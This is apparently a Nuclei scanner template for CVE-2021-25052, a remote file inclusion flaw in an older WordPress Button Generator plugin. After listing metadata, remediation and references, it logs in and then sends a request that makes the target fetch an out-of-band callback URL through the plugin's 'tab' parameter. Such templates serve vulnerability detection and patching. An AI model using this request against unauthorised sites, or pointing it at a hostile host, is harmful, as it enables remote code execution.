58 lines
2.0 KiB
YAML
58 lines
2.0 KiB
YAML
id: CVE-2021-25052
|
|
|
|
info:
|
|
name: WordPress Button Generator <2.3.3 - Remote File Inclusion
|
|
author: cckuailong
|
|
severity: high
|
|
description: WordPress Button Generator before 2.3.3 within the wow-company admin menu page allows arbitrary file inclusion with PHP extensions (as well as with data:// or http:// protocols), thus leading to cross-site request forgery and remote code execution.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Button Generator plugin (2.3.3) to fix the remote file inclusion vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25052
|
|
- https://plugins.trac.wordpress.org/changeset/2641639/button-generation
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25052
|
|
cwe-id: CWE-352
|
|
epss-score: 0.02096
|
|
epss-percentile: 0.87893
|
|
cpe: cpe:2.3:a:wow-company:button_generator:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: wow-company
|
|
product: button_generator
|
|
framework: wordpress
|
|
tags: wp-plugin,authenticated,wpscan,cve,cve2021,rfi,wp,wordpress
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
name: "http"
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502205445a8a1a1e10a616c5fd1a3d3d348e1a164e138b85d2f6484e7bdf930d85b82022100e0a44ab07d730f1aecfe8df0479fce9e45bf8afb45f4697efbd4a6cdcff4a7a3:922c64590222798bb761d5b6d8e72950
|